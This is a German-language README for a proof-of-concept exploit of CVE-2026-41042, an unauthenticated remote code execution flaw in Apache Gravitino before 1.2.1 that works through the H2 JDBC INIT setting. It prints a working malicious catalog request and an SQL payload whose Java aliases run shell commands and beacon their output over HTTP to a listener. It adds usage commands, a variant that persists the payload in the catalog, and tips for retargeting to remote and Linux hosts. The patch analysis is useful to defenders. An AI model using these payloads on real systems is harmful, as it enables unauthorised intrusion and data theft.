
Nutzt eine nicht authentifizierte RCE in Apache Gravitino < 1.2.1 über H2 JDBC INIT aus; hostet SQL/Java-Payloads, führt Befehle aus und exfiltriert die Ausgabe über einen HTTP-Beacon.
Eigenständiger Proof of Concept, der nur die Standardbibliothek verwendet, für CVE-2026-41042: nicht authentifizierte Remote-Codeausführung in Apache Gravitino vor 1.2.1 über die H2-JDBC-INIT-Verbindungseinstellung. Keine Auth-Header, keine zusätzlichen Treiber, kein pip install.
python3 poc_cve-2026-41042.py http://127.0.0.1:8090 --metalake test_ml --cmd whoami
Das Skript hostet das SQL-Payload und ein Output-Beacon, sendet die testConnection-Anfrage und gibt die Standardausgabe des Befehls direkt aus.
CVE zugewiesen am 08.07.2026, gutgeschrieben Junjie Li (Xidian University). Dies ist der erste öffentlich funktionierende PoC für das Problem. PoC von Akinlabi.
| Verwundbar | Apache Gravitino < 1.2.1 (gravitino-catalog-jdbc-common) |
| Behoben | 1.2.1 |
| Advisory | https://lists.apache.org/thread/vdh88wc6j5b38v65ncb111wbbnkf6bvm |
H2 1.4.200 wird in Gravitinos libs/ als Standard-Backend für den Entity-Store ausgeliefert, sodass der H2-Treiber bereits im Server-Classpath liegt. Für den Exploit muss kein zusätzlicher Treiber bereitgestellt werden.
POST /api/metalakes/{metalake}/catalogs/testConnection (Jersey-Ressource org.apache.gravitino.server.web.rest.CatalogOperations#testConnection, erzeugt application/vnd.gravitino.v1+json) akzeptiert eine CatalogCreateRequest. Der Wert von properties.jdbc-url wird ohne Validierung des JDBC-Treibers an die Verbindungsfabrik des Kataloganbieters übergeben.
Die Verwendung des gebündelten H2-Treibers (org.h2.Driver) zusammen mit der H2-INIT-Verbindungseinstellung führt beim Verbindungsaufbau beliebiges SQL aus, und CREATE ALIAS kompiliert und führt beliebiges Java auf dem Server aus. Der Endpunkt erfordert keine Authentifizierung.
Voraussetzungen: Python 3, nur Standardbibliothek.
python3 poc_cve-2026-41042.py <target> [--metalake NAME] [--cmd CMD] [--port PORT]
| Option | Standard | Beschreibung |
|---|---|---|
target | (erforderlich) | Gravitino-Server, z. B. http://127.0.0.1:8090 |
--metalake | test_ml | Metalake, unter dem der Katalog getestet wird |
--cmd | whoami | Auf dem Ziel auszuführender Befehl |
--port | 9000 | Lokaler Port für den Payload- und Beacon-HTTP-Server |
Beispiele:
# Standardlauf: whoami gegen den test_ml-Metalake
python3 poc_cve-2026-41042.py http://127.0.0.1:8090
# Benutzerdefinierter Befehl gegen einen benannten Metalake
python3 poc_cve-2026-41042.py http://10.0.0.5:8090 --metalake zeroauth_ml --cmd "ipconfig"
Falls der Metalake nicht existiert, zuerst einen erstellen (ebenfalls ohne Authentifizierung):
curl -X POST http://<target>:8090/api/metalakes \
-H "Content-Type: application/json" \
-d '{"name":"test_ml"}'
127.0.0.1 mit zwei Routen: /poc.sql liefert das generierte Payload, /beacon?out=... erfasst die Befehlsausgabe.{
"name": "h2rce",
"type": "RELATIONAL",
"provider": "jdbc-mysql",
"properties": {
"jdbc-url": "jdbc:h2:mem:t3f9a2c1;INIT=RUNSCRIPT FROM 'http://127.0.0.1:9000/poc.sql'",
"jdbc-user": "sa",
"jdbc-password": "",
"jdbc-driver": "org.h2.Driver"
}
}
CREATE ALIAS IF NOT EXISTS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
String l; StringBuilder sb = new StringBuilder();
while ((l = br.readLine()) != null) sb.append(l).append("\n");
br.close();
return sb.toString();
}
$$;
CREATE ALIAS IF NOT EXISTS BEACON AS $$
String beacon(String s) throws java.io.IOException {
java.net.URL u = new java.net.URL("http://127.0.0.1:9000/beacon?out=" + java.net.URLEncoder.encode(s, "UTF-8"));
u.openConnection().getInputStream().close();
return s;
}
$$;
CALL BEACON(SHELLEXEC('whoami'));
SHELLEXEC führt den Befehl aus und gibt seine Standardausgabe als Zeichenkette zurück; BEACON exfiltriert sie über HTTP an den Listener; das Skript fragt das Beacon bis zu 5 Sekunden lang ab und gibt die Ausgabe aus.
jdbc-mysql-Anbieters (checkJDBCDriverVersion) greift erst nach der Initialisierung der Verbindung, daher ist der Fehler nur kosmetisch: Das INIT wurde bereits ausgeführt. Der Fehlerpfad ist der Ausführungspfad.Pro Lauf wird ein frischer, zufälliger In-Memory-Datenbankname generiert (secrets.token_hex(6)), sodass H2-Aliase nie zwischen Läufen bestehen bleiben und jede Ausführung deterministisch ist.
Dieselbe bösartige jdbc-url funktioniert auch über POST /api/metalakes/{ml}/catalogs, was HTTP 200 zurückgibt und die H2-INIT-URL in der Katalogkonfiguration persistiert. Jede spätere verbindungserzwingende Operation löst die Ausführung zum Initialisierungszeitpunkt aus:
GET /api/metalakes/test_ml/catalogs/catreal/schemas
Beide Einstiegspunkte führen über denselben Pfad initialize() -> DataSourceUtils.createDataSource, daher deckt der Fix in 1.2.1 beide ab.
DataSourceUtils.createDataSource blockiert nun H2-URLs und -Treiber (Commits 84d3de9c7c / 5daabcd0e, verifiziert im 1.3.0-Zweig):
String decodedUrl = recursiveDecode(jdbcConfig.getJdbcUrl().toLowerCase());
if (decodedUrl.startsWith("jdbc:h2")) {
throw new GravitinoRuntimeException("H2 JDBC URL is not allowed in catalog configuration");
}
if (jdbcConfig.getJdbcDriver().toLowerCase().startsWith("org.h2.")) {
throw new GravitinoRuntimeException("H2 JDBC driver is not allowed in catalog configuration");
}
recursiveDecode führt URLDecoder bis zu 5 Mal aus, daher umgeht das Prozentkodieren des Präfixes die Prüfung nicht. JdbcUrlUtils.validateJdbcConfig (ebenfalls von createDBCPDataSource aufgerufen) blockiert zusätzlich bekanntermaßen unsichere MySQL-/MariaDB-/PostgreSQL-Parameter (autoDeserialize, allowLoadLocalInfile, socketFactory und ähnliche).
Bypass-Versuche, die gegen eine Replik der Prüfung mit echtem H2 1.4.200 getestet wurden: führende und abschließende Leerzeichen, 6x+ Prozentkodierung, Groß-/Kleinschreibungs- und Tab-Tricks, Suffix-Tricks und Nicht-JDBC-Anbieter. Es wurde kein sauberer Bypass gefunden; der H2-Vektor scheint in 1.2.1 solide behoben.
Apache stuft dies als niedrig ein und verweist darauf, dass H2 nur für Entwicklungs-/Testzwecke gedacht sei und Gravitino typischerweise intern betrieben werde. Die Standardinstallation widerspricht dem:
testConnection und createCatalog sind ohne Authentifizierung, wenn gravitino.authorization.enable=false ist, was der Standard ist0.0.0.0:8090Realistische CVSS-v3.1-Schätzung: ~9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), abhängig von der Erreichbarkeit des Gravitino-Ports.
127.0.0.1 gebunden. Das entspricht einem Labor, in dem Angreifer und Ziel denselben Host verwenden. Für ein entferntes Ziel die 127.0.0.1-Verweise in make_payload() und exploit() auf Ihre Listener-IP ändern.cmd.exe /c aus (Windows-Labor). Bei Linux-Zielen die Zeile new String[]{"cmd.exe", "/c", cmd} durch /bin/sh -c ersetzen.createCatalog ist in diesem Skript nicht automatisiert; verwenden Sie die manuelle Anfrage oben.Nur für autorisierte Sicherheitstests und Forschung. Jede hier beschriebene Technik wurde in einem lokalen Labor entwickelt und verifiziert. Der Einsatz gegen ein System, das Ihnen nicht gehört, kann in Ihrer Rechtsordnung illegal sein.